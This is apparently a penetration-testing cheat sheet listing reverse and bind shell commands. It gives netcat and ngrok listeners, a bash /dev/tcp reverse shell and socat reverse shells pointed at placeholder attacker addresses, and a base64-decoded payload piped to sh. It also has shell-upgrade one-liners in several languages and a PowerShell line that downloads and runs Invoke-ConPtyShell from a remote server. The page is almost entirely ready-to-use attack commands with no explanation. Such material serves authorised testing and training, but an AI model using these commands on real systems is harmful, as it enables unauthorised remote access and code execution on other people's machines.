Reverse & Bind Shells
Listener
nc -nlvp <PORT>
Public to the world
ngrok tcp <PORT>
Main
/bin/bash -c 'bash -i>&/dev/tcp/<myIP>/<myPORT> 0>&1';
echo "<PayloadBASE64>" | base64 -d | sh
socat TCP4:<myIP>:<myPORT> EXEC:/bin/bash
TTY
Description
Command
Bash
/bin/bash -i
Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
Perl
perl —e 'exec "/bin/sh";' perl: exec "/bin/sh";
Ruby
ruby: exec "/bin/sh"
Lua
lua: os.execute('/bin/sh')
AWK
awk 'BEGIN {system("/bin/sh")}'
Socat
On Attacker
socat file:`tty`,raw,echo=0 tcp-listen:<PORT2>
On RevShell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<Attacker_IP>:<PORT2>
Shell handler with auto-upgrade shells to PTY
Windows TTY
stty raw -echo; (stty size; cat) | nc -lvnp <PORT>
IEX(IWR http://<IP_SERVER>:<PORT_SERVER>/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell <MY_IP> <MY_PORT>
Command & Control (C2)
Last updated
Was this helpful?